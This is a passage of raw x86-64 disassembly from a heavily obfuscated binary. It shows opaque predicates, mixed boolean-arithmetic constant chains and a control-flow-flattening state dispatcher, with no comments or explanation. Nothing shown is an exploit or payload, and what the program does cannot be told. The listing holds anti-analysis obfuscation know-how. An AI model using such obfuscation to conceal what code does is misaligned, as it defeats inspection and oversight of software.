and ecx, 0x79590743
or ecx, edx
xor ecx, 0x79590743
or ecx, eax
cmp ecx, 0xffffffff
sete dl
setne cl
cmp dword [0x1402656e4], 9
setg bl
mov eax, ebx
and al, cl
xor cl, bl
or cl, al
mov r8d, ecx
xor r8b, 1
mov eax, ebx
xor al, dl
not al
and al, dl
or bl, dl
xor al, 1
mov edx, eax
xor dl, bl
or al, bl
xor al, 1
or al, dl
mov r9d, eax
xor r9b, 1
mov ebx, r8d
and bl, cl
xor bl, 1
mov edx, ebx
xor dl, cl
or bl, cl
xor bl, 1
or bl, dl
mov ecx, ebx
xor cl, 1
and cl, al
and bl, r9b
or bl, cl
mov ecx, r8d
xor cl, al
or al, r8b
xor al, 1
or al, cl
mov ecx, eax
xor cl, bl
test cl, 1
mov edx, 0xa18b1066
mov ecx, 0xb686916
cmovne edx, ecx
test al, 1
mov ecx, 0xa18b1066
cmovne ecx, edx
test bl, 1
jmp 0x140140c56
mov ecx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
mov ecx, ebp
and ecx, 0xdedb98ba
and edx, 0x21246745
or edx, ecx
mov ebx, edx
xor ebx, 0x20000201
xor edx, 0x5c091090
or ebp, 0x7f095295
mov ecx, ebp
not ecx
or edx, 0x42a16a
and edx, 0x5d4bf1fe
and ebx, 0x22000201
or ebx, edx
and ebp, 0x5d4bf1fe
and ecx, 0x80b40c00
or ecx, ebp
xor ecx, ebx
mov edx, ecx
not edx
and edx, 0x80f6ad6a
and ecx, 0x7f095295
or ecx, edx
mov edx, ecx
not edx
mov ebp, ecx
and ebp, 0xfffffffe
and edx, 0xcdd7089
and ecx, 0xf3228f76
or ecx, edx
xor ecx, 0xf3228f77
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, ecx
xor edx, 0xd934ebba
and edx, ecx
or ecx, 0x26cb1445
mov ebp, ecx
not ebp
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x1328ff23
and ebp, 0xc8140098
or ebp, edi
or ecx, ebx
and ebx, 0x1328ff23
and edx, 0xecd700dc
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x8a1f84e1
and ecx, 0x75e07b1e
or ecx, edx
mov edx, ecx
xor edx, 0x80001004
xor ecx, 0x532b6f5b
mov ebp, ecx
and ebp, 0x7df7abb2
and edx, 0x8208544d
or edx, ebp
xor edx, 0x7df7abb2
xor ecx, edx
test ecx, edx
setne dl
sete r8b
cmp eax, 0xa
setl cl
cmp eax, 9
setg bl
and dl, cl
mov eax, ebx
xor al, r8b
xor cl, r8b
and r8b, bl
or dl, r8b
and al, bl
mov ebx, eax
xor bl, 1
xor al, cl
xor cl, 1
or cl, bl
xor cl, 1
or cl, al
mov eax, edx
xor al, 1
and dl, al
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
xor dl, cl
mov ebx, eax
and bl, cl
xor al, cl
or al, bl
mov ebx, eax
xor bl, dl
test al, 1
mov ecx, 0xf53db2ff
mov eax, 0x66f8d8a8
cmovne ecx, eax
test dl, 1
cmove ecx, eax
test bl, 1
mov eax, 0xf53db2ff
jmp 0x140140dec
mov ecx, 0xf53db2ff
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
mov ecx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
mov edx, ebp
xor edx, 0xe0d4d803
and edx, ebp
not ebp
and ebp, 0xfb214770
and ecx, 0x4deb88f
or ecx, ebp
mov ebp, ecx
xor ebp, 0x40800
xor ecx, 0xe0004000
or ecx, 0x1f2b27fc
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xd5db96df
and ebp, 0x20044800
or ebp, edi
or ecx, ebx
and ebx, 0xd5db96df
and edx, 0x2a246920
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x1f2b27fc
and ecx, 0xe0d4d803
or ecx, edx
mov edx, ecx
not edx
mov ebp, ecx
and ebp, 0xfffffffe
and edx, 0xcfdc1dbf
and ecx, 0x3023e240
or ecx, edx
xor ecx, 0x3023e241
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, ecx
not edx
mov ebx, edx
or ebx, 0x21668fb
mov ebp, ebx
not ebp
or ecx, 0xac800504
and ecx, 0xac904dbd
and edx, 0x2062042
or edx, ecx
and ebx, 0xac904dbd
and ebp, 0x51699200
or ebp, ebx
xor ebp, edx
mov ecx, ebp
not ecx
and ecx, 0xfde99704
and ebp, 0x21668fb
or ebp, ecx
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
and dl, al
and bl, r8b
or bl, dl
mov ecx, ebx
xor cl, al
and cl, bl
xor al, r8b
mov ebx, eax
not bl
mov edx, ecx
xor dl, 1
and bl, dl
or dl, al
and al, cl
or al, bl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0xc1a27751
mov ebp, 0xf89444bb
cmovne ecx, ebp
test al, al
mov eax, ecx
mov ebp, 0xc1a27751
cmovne eax, ebp
test dl, dl
cmovne eax, ecx
mov ecx, eax
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
mov edx, dword [0x1402656e8]
mov ecx, dword [0x1402656e4]
lea ebx, [rdx - 1]
imul ebx, edx
mov eax, ebx
not eax
mov ebp, eax
and ebp, 0xf5567d75
mov edx, ebx
xor edx, 0xf5567d75
and edx, ebx
mov edi, ebp
and edi, edx
xor edx, ebp
or edx, edi
mov ebp, edx
not ebp
and ebp, 0x91f17ce6
and edx, 0x6e0e8319
or edx, ebp
mov ebp, edx
xor ebp, 0x3585a40
and eax, 0xa426696b
and ebx, 0x5bd99694
or ebx, eax
mov eax, ebx
xor eax, 0x3d81210
xor edx, 0x64a70192
mov edi, edx
and edi, 0xf803a5ad
and ebp, 0x7fc5a52
or ebp, edi
xor ebx, 0xa0022129
and ebx, 0xf803a5ad
and eax, 0x7fc5a52
or eax, ebx
xor eax, ebp
xor edx, eax
test edx, eax
setne r10b
sete r8b
cmp ecx, 9
setg al
cmp ecx, 0xa
setl r9b
mov ebx, r9d
xor bl, al
and bl, r9b
mov edx, ebx
xor dl, 1
mov ecx, edx
or cl, bl
xor bl, cl
xor bl, 1
or cl, dl
xor cl, 1
or cl, bl
mov edx, ecx
xor dl, 1
and dl, r8b
and cl, r10b
or cl, dl
mov edx, eax
xor dl, r8b
and dl, al
and r10b, r9b
and al, r8b
or al, r10b
xor dl, 1
xor al, 1
mov ebx, edx
xor bl, al
or al, dl
xor al, 1
or al, bl
mov ebx, eax
xor bl, 1
xor cl, 1
mov edx, ebx
and dl, al
mov r8d, edx
and r8b, bl
xor dl, bl
or dl, r8b
xor dl, cl
mov ebx, ecx
and bl, al
xor cl, al
or cl, bl
mov eax, edx
xor al, cl
test cl, 1
mov ecx, 0xf071b240
mov ebp, 0x73e52633
cmovne ecx, ebp
test dl, 1
cmovne ecx, ebp
not al
test al, 1
mov eax, 0xf071b240
jmp 0x140140dec
mov ecx, dword [0x1402656e8]
mov esi, dword [0x1402656e4]
lea edi, [rcx - 1]
imul edi, ecx
mov ecx, edi
not ecx
mov ebp, ecx
and ebp, 0x29e1e32
mov edx, edi
and edx, 0xfd61e1cc
or edx, ebp
xor edx, 0xfd61e1cc
mov ebx, edi
xor ebx, 0xfffffffe
and ebx, edi
mov ebp, edx
and ebp, ebx
xor ebx, edx
or ebx, ebp
mov ebp, ebx
not ebp
mov edx, ebp
and edx, 0x4b4e19da
and ebx, 0xb4b1e625
or ebx, edx
and edi, 0x4b4e19da
and ecx, 0xb4b1e625
or ecx, edi
xor ecx, ebx
not ecx
or ecx, ebp
cmp ecx, 0xffffffff
sete r9b
setne al
cmp esi, 9
setg r8b
cmp esi, 0xa
setl cl
mov ebx, eax
xor bl, r9b
and bl, al
mov eax, ebx
xor al, 1
or al, bl
xor al, 1
mov edx, ebx
and dl, al
xor al, bl
or al, dl
mov edx, ecx
xor dl, al
xor dl, 1
and dl, al
or al, cl
xor al, 1
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, r8d
xor dl, r9b
and dl, r8b
xor cl, r9b
xor dl, 1
xor cl, 1
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
mov edx, eax
xor dl, 1
and dl, al
xor dl, 1
mov ebx, eax
xor bl, dl
or dl, al
xor dl, 1
or dl, bl
mov ebx, edx
xor bl, 1
and bl, cl
xor cl, 1
and dl, cl
or dl, bl
mov ebx, eax
xor bl, cl
or cl, al
xor cl, 1
or cl, bl
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0x2c95b0f3
mov ebp, 0x816a3e13
cmovne ecx, ebp
test dl, 1
cmove ecx, ebp
test al, 1
mov eax, 0x2c95b0f3
jmp 0x140140dec
mov ecx, 0xda92ad6
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
mov ecx, dword [0x1402656e8]
lea eax, [rcx - 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, edx
and ecx, 0x4a1d4b16
mov ebp, eax
and ebp, 0xb5e2b4e8
or ebp, ecx
xor ebp, 0xb5e2b4e8
mov ecx, eax
xor ecx, 0xfffffffe
and ecx, eax
mov ebx, ebp
and ebx, ecx
xor ecx, ebp
or ecx, ebx
and edx, 0xa969099e
and eax, 0x5696f661
or eax, edx
mov edx, eax
xor edx, 0x42905061
mov ebp, ecx
not ebp
mov ebx, ebp
and ebx, 0x3d07a71c
and ecx, 0xc2f858e3
or ecx, ebx
xor eax, 0x2901011c
and eax, 0x3d07a71c
and edx, 0xc2f858e3
or edx, eax
xor edx, ecx
xor ebp, edx
test ebp, edx
sete al
setne cl
cmp dword [0x1402656e4], 9
setg bl
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, ebx
xor dl, al
not dl
and dl, al
or bl, al
mov eax, ebx
xor al, dl
xor dl, 1
xor al, 1
or dl, bl
xor dl, 1
or dl, al
xor dl, 1
mov eax, ecx
or al, dl
xor dl, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x2f515845
mov ebp, 0xfc36eedf
cmovne ecx, ebp
test dl, 1
mov edx, ecx
mov ebp, 0x2f515845
cmovne edx, ebp
test al, 1
cmovne edx, ecx
jmp 0x14014036d
mov ecx, 0xc89deb19
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
mov ecx, dword [0x1402656e8]
mov r9d, dword [0x1402656e4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
mov ecx, ebp
and ecx, 0x8040501
and edx, 0xc24102ca
or edx, ecx
mov ebx, edx
xor ebx, 0x8000004a
xor edx, 0x1c9c4820
or ebp, 0xca4507cb
mov ecx, ebp
not ecx
and edx, 0x5edd4aa0
and ebx, 0x8000054b
or ebx, edx
and ebp, 0x5edd4aa0
and ecx, 0x2122b014
or ecx, ebp
xor ecx, ebx
mov edx, ecx
not edx
and edx, 0x35baf834
and ecx, 0xca4507cb
or ecx, edx
mov ebp, ecx
mov ebx, ecx
xor ebx, 0x618c9124
and ebx, ecx
not ecx
and ecx, 0x8f75a2a0
and ebp, 0x708a5d5f
or ebp, ecx
mov edi, ebp
xor edi, 0x708a5d5f
mov edx, ebp
xor edx, 0xeef93384
and edx, edi
mov ecx, edx
not ecx
mov esi, ebx
not esi
mov eax, ecx
and eax, 0x609b0514
and edx, 0x9f64faeb
or edx, eax
or ecx, esi
and esi, 0x609b0514
and ebx, 0x9f64faeb
or ebx, esi
xor ebx, edx
not ecx
or ecx, ebx
mov eax, ecx
not eax
and eax, 0xb46548e3
and ecx, 0x4b9ab71c
or ecx, eax
mov ebx, ecx
xor ebx, 0x2a042209
and edi, 1
xor ebp, 0x708a5d5e
or ebp, edi
mov eax, ebp
not eax
and eax, 0xc9fb22d1
and ebp, 0x3604dd2e
or ebp, eax
mov eax, ebp
xor eax, 0x22048908
xor ecx, 0xd5e9d9c6
xor ebp, 0xc9fb22d1
mov edx, ecx
and edx, 0x147254f6
and ebx, 0xeb8dab09
or ebx, edx
or ecx, ebp
and ebp, 0x147254f6
and eax, 0xeb8dab09
or eax, ebp
xor eax, ebx
not ecx
or ecx, eax
mov eax, ecx
mov edx, ecx
xor edx, 0xe39a787
and edx, ecx
not ecx
and ecx, 0xe118005
and eax, 0x282782
or eax, ecx
xor eax, 0x282782
mov ecx, eax
and ecx, edx
xor edx, eax
or edx, ecx
mov eax, edx
not eax
and eax, 0x99bfc737
and edx, 0x664038c8
or edx, eax
mov eax, edx
xor eax, 0x28180f
xor edx, 0x900040b0
and edx, 0xf851c7f0
and eax, 0x7ae380f
or eax, edx
mov ecx, eax
xor ecx, 0x1a6380e
xor eax, 0xa840c250
and eax, 0xae48c251
and ecx, 0x51b73dae
or ecx, eax
mov eax, ecx
xor eax, 0xc008041
xor ecx, 0x41a53d82
and ecx, 0xe3ed7f92
and eax, 0x1c12806d
or eax, ecx
xor eax, 0x1c12806d
sete r8b
setne r10b
cmp r9d, 9
setg r11b
cmp r9d, 0xa
setl r9b
mov edx, r9d
xor dl, r11b
and dl, r9b
mov ebx, edx
xor bl, 1
mov eax, ebx
and al, dl
xor al, 1
mov ecx, edx
xor cl, al
or al, dl
xor al, 1
or al, cl
xor al, 1
or bl, dl
xor bl, 1
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
mov eax, r10d
xor al, r11b
or r11b, r10b
or r10b, bl
xor bl, 1
or bl, r8b
mov ecx, r10d
xor cl, bl
or bl, r10b
xor bl, 1
or bl, cl
xor r9b, r8b
xor r11b, 1
or r11b, r9b
mov ecx, r11d
xor cl, al
xor al, 1
xor cl, 1
or al, r11b
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
mov edx, ebx
xor dl, al
and dl, bl
and al, bl
xor bl, 1
and bl, cl
or al, bl
mov ebx, eax
xor bl, dl
test al, 1
mov ecx, 0x52af25c3
mov eax, 0x704800c5
cmovne ecx, eax
test dl, 1
mov edx, 0x52af25c3
cmove ecx, edx
test bl, 1
jmp 0x14014088c
mov ecx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
mov ecx, ebp
and ecx, edx
mov ebx, ecx
not ebx
mov edi, edx
and edi, 0xc9a08ffd
and ebp, 0x365f7002
or ebp, edi
or edx, ebx
and ebx, 0xc9a08ffd
and ecx, 0x365f7002
or ecx, ebx
xor ecx, ebp
not edx
or edx, ecx
mov ebp, edx
not ebp
and ebp, 0x46387b51
mov ecx, edx
and ecx, 0xb9c784ae
or ecx, ebp
mov ebp, ecx
xor ebp, 0xb9c784ae
mov ebx, ecx
xor ebx, 0xfc94a37a
and ebx, ebp
and edx, 0x455327d4
mov edi, ebx
and edi, edx
xor edx, ebx
or edx, edi
mov ebx, edx
not ebx
and ebx, 0x455327d5
and edx, 0xbaacd82a
or edx, ebx
and ebp, 1
xor ecx, 0xb9c784af
or ecx, ebp
mov ebp, ecx
not ebp
and ebp, 0xc10d18b6
and ecx, 0x3ef2e749
or ecx, ebp
xor ecx, 0x3ef2e749
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x501f20ed
and edx, ecx
and ecx, 0xafe0df12
or ecx, ebp
mov ebp, ecx
xor ebp, 0x2d20cf12
xor ecx, 0x501f20ed
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xc2df3040
and ebp, 0x3d20cfbf
or ebp, edi
or ecx, ebx
and ebx, 0xc2df3040
and edx, 0x3d20cfbf
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
sete r8b
setne dl
cmp eax, 9
setg cl
cmp eax, 0xa
setl al
and dl, al
mov ebx, ecx
xor bl, r8b
and bl, cl
and cl, r8b
or cl, dl
xor al, r8b
xor bl, 1
xor al, 1
mov edx, ebx
xor dl, al
or al, bl
xor al, 1
or al, dl
mov edx, eax
not dl
mov ebx, ecx
xor bl, 1
and dl, bl
or bl, al
and al, cl
or al, dl
mov ecx, ebx
xor cl, al
test cl, 1
mov edx, 0x75e1be91
mov ecx, 0x710d15bc
cmovne edx, ecx
test al, al
mov ecx, edx
mov eax, 0x75e1be91
cmovne ecx, eax
test bl, 1
cmovne ecx, edx
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
mov ecx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
not ecx
mov edx, ebp
or edx, 0xfc9bb48e
mov ebx, ebp
and ebx, 0xfc9bb48e
mov edi, ecx
and edi, 0x3644b70
or edi, ebx
and edx, 0xfc9bb48f
xor edx, edi
mov edi, edx
not edi
mov ebx, edi
and ebx, 0x6b39c0cc
and edx, 0x94c63f33
or edx, ebx
and ebp, 0x6b39c0cc
and ecx, 0x94c63f33
or ecx, ebp
xor ecx, edx
not ecx
or ecx, edi
cmp ecx, 0xffffffff
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, edx
and cl, al
or dl, bl
and bl, r8b
or bl, cl
xor bl, 1
or bl, al
xor dl, 1
or al, r8b
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
xor al, 1
mov edx, ebx
or dl, al
xor al, bl
mov ecx, edx
xor cl, al
test cl, 1
mov ebp, 0xc3415d48
mov ecx, 0xb8a3dc4a
cmovne ebp, ecx
mov rbx, qword [0x140265040]
test al, 1
mov ecx, ebp
mov eax, 0xc3415d48
cmovne ecx, eax
mov qword [rsp + 0x30], rbx
test dl, 1
jmp 0x14013fe2c
mov ecx, 0xcb55a45e
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
mov edx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xd679ea27
and edx, ecx
and ecx, 0x298615d8
or ecx, ebp
mov ebp, ecx
xor ebp, 0x28861090
xor ecx, 0xd679ea27
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x4331074f
and ebp, 0xbccef8b0
or ebp, edi
or ecx, ebx
and ebx, 0x4331074f
and edx, 0xbccef8b0
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov ebx, ecx
not ebx
mov edx, ebx
and edx, 0x203f64fe
and ecx, 0xdfc09b01
or ecx, edx
mov edx, ecx
not edx
mov edi, ecx
xor edi, 0x200b2454
or edi, 0x51744bab
mov esi, edi
not esi
or ebx, 0xae8bb454
mov ebp, ebx
not ebp
and edi, 0xdd43e373
and esi, 0x22881404
or esi, edi
and ebx, 0xdd43e373
and ebp, 0x340888
or ebp, ebx
xor ebp, esi
mov ebx, ebp
not ebx
and ebx, 0x51744baa
and ebp, 0xae8bb455
or ebp, ebx
and edx, 1
xor ecx, 0xdfc09b00
or ecx, edx
not ecx
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, ecx
xor edx, 0x1bdee3bf
and edx, ecx
or ecx, 0xe4211c40
mov ebp, ecx
not ebp
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xc486cf31
and ebp, 0x1b58208e
or ebp, edi
or ecx, ebx
and ebx, 0xc486cf31
and edx, 0x3b7930ce
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xb26a60eb
and ecx, 0x4d959f14
or ecx, edx
mov edx, ecx
xor edx, 0x64020a2
xor ecx, 0x89b40044
and edx, 0x2640a3b2
and ecx, 0xd9bf5c4d
or ecx, edx
xor ecx, 0xd9bf5c4d
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, eax
and cl, dl
and r8b, al
xor al, dl
or al, cl
xor al, 1
and bl, dl
or bl, r8b
xor bl, al
mov edx, ebx
not dl
and dl, al
mov eax, ebx
xor al, dl
test bl, bl
mov ecx, 0xe9a91de6
mov ebp, 0x89f715ee
cmovne ecx, ebp
test dl, dl
mov edx, 0xe9a91de6
cmove ecx, edx
test al, al
cmovne ecx, ebp
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
mov ecx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x4c23c68a
and edx, 0xb3dc3975
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xd8339ea7
and edx, 0x27cc6158
or edx, ecx
mov ebp, edx
xor ebp, 0x20638240
xor edx, 0x9410582d
mov ecx, edx
and ecx, 0x4b8c6596
and ebp, 0xb4739a69
or ebp, ecx
mov edi, ebp
not edi
mov ecx, ebp
xor ecx, 0x4b080082
or ecx, 0xa0b57774
mov esi, ecx
not esi
or edx, 0x5f4a888b
mov ebx, edx
not ebx
and ecx, 0x84989bf6
and esi, 0x5b420009
or esi, ecx
and edx, 0x84989bf6
and ebx, 0x20256400
or ebx, edx
xor ebx, esi
mov ecx, ebx
not ecx
and ecx, 0xa0b57775
and ebx, 0x5f4a888a
or ebx, ecx
and edi, 1
xor ebp, 0xb4739a68
or ebp, edi
mov ecx, ebp
not ecx
mov edx, ebx
not edx
mov edi, edx
and edi, 0x6d871e7
and ebx, 0xf9278e18
or ebx, edi
or edx, ebp
and ebp, 0x6d871e7
and ecx, 0xf9278e18
or ecx, ebp
xor ecx, ebx
not edx
or edx, ecx
mov ecx, edx
not ecx
and edx, 0x1b4527c6
and ecx, 0xe4bad839
or ecx, edx
mov edx, ecx
xor edx, 0x1410500
xor ecx, 0x808a0030
and ecx, 0x9a8e22f6
and edx, 0x6571dd09
or edx, ecx
mov ecx, edx
xor ecx, 0x40708000
xor edx, 0x92082202
and edx, 0xb7097f0b
and ecx, 0x48f680f4
or ecx, edx
mov edx, ecx
xor edx, 0x31092802
xor ecx, 0x402080c0
and ecx, 0xc620d7c9
and edx, 0x39df2836
or edx, ecx
xor edx, 0x39df2836
setne r8b
sete r10b
cmp eax, 9
setg dl
cmp eax, 0xa
setl cl
mov eax, ecx
xor al, dl
and al, cl
xor al, r10b
mov r9d, eax
xor r9b, 1
mov ebx, edx
xor bl, r10b
and bl, dl
and r8b, cl
and dl, r10b
or dl, r8b
mov ecx, ebx
xor cl, 1
xor bl, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, bl
xor al, dl
or dl, r9b
mov ebx, eax
xor bl, dl
test al, 1
mov ecx, 0x7afbe234
mov eax, 0x62aefdcd
cmovne ecx, eax
test dl, 1
mov r15d, 0x62aefdcd
cmovne ecx, eax
not bl
test bl, 1
mov eax, 0x7afbe234
jmp 0x140140dec
mov ecx, 0xdd359510
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
mov ecx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
mov edx, ebp
xor edx, 0x32c181e8
and edx, ebp
not ebp
and ebp, 0x12800160
and ecx, 0x20418088
or ecx, ebp
mov ebp, ecx
xor ebp, 0x20018008
xor ecx, 0xdfbe7f77
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xc5257e7
and ebp, 0x32818008
or ebp, edi
or ecx, ebx
and ebx, 0xc5257e7
and edx, 0xf3ada818
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xcd3e7e17
and ecx, 0x32c181e8
or ecx, edx
mov ebp, ecx
xor ebp, 1
and ebp, ecx
mov edx, ecx
not edx
and edx, 0xe49b72c4
and ecx, 0x1b648d3b
or ecx, edx
mov ebx, ecx
xor ebx, 0x18448d18
mov edx, ebp
not edx
xor ecx, 0xe49b72c5
mov edi, edx
and edi, 0x673a4023
and ebp, 0x98c5bfdc
or ebp, edi
or edx, ecx
and ecx, 0x673a4023
and ebx, 0x98c5bfdc
or ebx, ecx
xor ebx, ebp
not edx
or edx, ebx
mov ecx, edx
not ecx
mov ebp, ecx
and ebp, 0x5483e8b4
and ecx, edx
and edx, 0xab7c174b
or edx, ebp
mov ebp, edx
xor ebp, 0x1540709
xor edx, 0x5483e8b4
mov ebx, ecx
not ebx
mov edi, edx
and edi, 0xbe2ad066
and ebp, 0x41d52f99
or ebp, edi
or edx, ebx
and ebx, 0xbe2ad066
and ecx, 0x41d52f99
or ecx, ebx
xor ecx, ebp
not edx
or edx, ecx
mov ecx, edx
not ecx
and edx, 0xc3d2932
and ecx, 0xf3c2d6cd
or ecx, edx
mov edx, ecx
xor edx, 0x4240002
xor ecx, 0x4380528c
and ecx, 0x4b997bbc
and edx, 0xb4668443
or edx, ecx
xor edx, 0xb4668443
sete r9b
setne r10b
cmp eax, 9
setg dl
cmp eax, 0xa
setl r8b
mov eax, r10d
xor al, r9b
and al, r10b
mov ecx, eax
xor cl, 1
and al, cl
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
xor al, r8b
mov ecx, edx
xor cl, r9b
and cl, dl
and r10b, r8b
and dl, r9b
or dl, r10b
mov ebx, ecx
xor bl, 1
xor cl, dl
xor dl, 1
or dl, bl
xor dl, 1
or dl, cl
mov ebx, edx
xor bl, 1
mov ecx, edx
and cl, bl
mov r8d, edx
and r8b, cl
xor cl, dl
or cl, r8b
mov r8d, ecx
and r8b, al
mov edx, eax
xor dl, bl
or bl, al
xor al, 1
xor cl, 1
and cl, al
or cl, r8b
xor bl, 1
or bl, dl
mov eax, ebx
xor al, cl
test al, 1
mov eax, 0xa46010a
mov edx, 0xb0ea1168
cmovne eax, edx
test bl, 1
mov edx, 0xa46010a
jmp 0x140140364
mov ecx, dword [0x1402656e8]
mov r8d, dword [0x1402656e4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edi, ebp
not edi
mov ebx, edi
and ebx, 0xc200500a
mov ecx, ebp
and ecx, 0xc848800
or ecx, ebx
mov ebx, ecx
xor ebx, 0xc808000
xor ecx, 0xf37b77ff
mov edx, ebp
xor edx, 0xce84d80a
and edx, ebp
mov esi, edx
not esi
mov eax, ecx
and eax, 0x116e58b7
and ebx, 0xce808008
or ebx, eax
or ecx, esi
and esi, 0x116e58b7
and edx, 0xee91a748
or edx, esi
xor edx, ebx
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0x8638e1db
and ecx, 0x79c71e24
or ecx, eax
mov eax, ecx
xor eax, 0x2142c227
xor ecx, 0x48381850
and ecx, 0xde391c58
and eax, 0x21c6e3a7
or eax, ecx
xor eax, 0x21c6e3a7
and edi, 0x384ab150
and ebp, 0xc7b54eaf
or ebp, edi
xor ebp, 0xc7b54eaf
mov ecx, eax
and ecx, ebp
xor ebp, eax
or ebp, ecx
cmp ebp, 0xffffffff
sete r9b
setne r10b
cmp r8d, 9
setg r11b
cmp r8d, 0xa
setl dl
mov eax, edx
xor al, r11b
and al, dl
mov ebx, r10d
or bl, al
xor al, 1
xor bl, 1
or al, r9b
xor al, 1
mov r8d, ebx
and r8b, al
xor al, bl
or al, r8b
and r10b, dl
or dl, r9b
xor dl, 1
and r11b, r9b
or r11b, r10b
mov ebx, edx
and bl, r11b
xor r11b, dl
or r11b, bl
mov edx, r11d
xor dl, 1
mov r8d, eax
xor r8b, 1
mov ebx, r8d
and bl, al
mov ecx, r11d
and cl, dl
mov r9d, r8d
and r9b, bl
xor bl, r8b
or bl, r9b
mov r9d, r11d
and r9b, cl
xor cl, r11b
or cl, r9b
xor cl, bl
xor r8b, r11b
or dl, al
xor dl, 1
or dl, r8b
mov eax, edx
xor al, cl
test al, 1
mov eax, 0x2c123c4b
mov ebp, 0xd7a052e7
cmovne eax, ebp
test dl, 1
mov edx, 0x2c123c4b
cmovne edx, eax
test cl, 1
cmove edx, eax
mov ecx, edx
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
mov eax, dword [0x1402656e8]
lea edx, [rax - 1]
imul edx, eax
mov ecx, edx
not ecx
mov ebp, ecx
and ebp, 0xfffffffe
mov eax, edx
xor eax, 0xfffffffe
and eax, edx
mov ebx, ebp
and ebx, eax
xor eax, ebp
or eax, ebx
mov ebp, eax
not ebp
and ebp, 0x765608b8
and eax, 0x89a9f747
or eax, ebp
mov ebp, eax
xor ebp, 0x80009303
xor eax, 0x765608b8
mov ebx, eax
and ebx, 0x3fab6c6c
and ebp, 0xc0549393
or ebp, ebx
or eax, edx
and edx, 0x3fab6c6c
and ecx, 0xc0549393
or ecx, edx
xor ecx, ebp
not eax
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x58a74c7a
and eax, 0xa758b385
or eax, ecx
xor eax, 0xa758b385
setne r8b
sete bl
cmp dword [0x1402656e4], 0xa
setl dl
or bl, dl
xor bl, 1
xor r8b, dl
mov edx, r8d
xor dl, 1
or bl, dl
mov ecx, ebx
xor cl, 1
mov eax, ebx
xor bl, r8b
and r8b, cl
and al, dl
or al, r8b
or cl, dl
xor cl, 1
or cl, bl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x30997b06
mov ebp, 0x87362108
cmovne edx, ebp
test cl, 1
mov ecx, 0x30997b06
cmovne ecx, edx
test al, al
jmp 0x140140c56
mov edx, dword [0x1402656e8]
mov r8d, dword [0x1402656e4]
lea ebp, [rdx - 1]
imul ebp, edx
mov edi, ebp
not edi
mov edx, ebp
or edx, 1
mov ebx, edx
not ebx
mov ecx, ebp
xor ecx, 0xfffffffe
and ecx, ebp
mov esi, ecx
not esi
mov eax, edx
and eax, 0x2af7bc89
and ebx, 0xd5084376
or ebx, eax
or edx, esi
and esi, 0x2af7bc89
and ecx, 0xd5084376
or ecx, esi
xor ecx, ebx
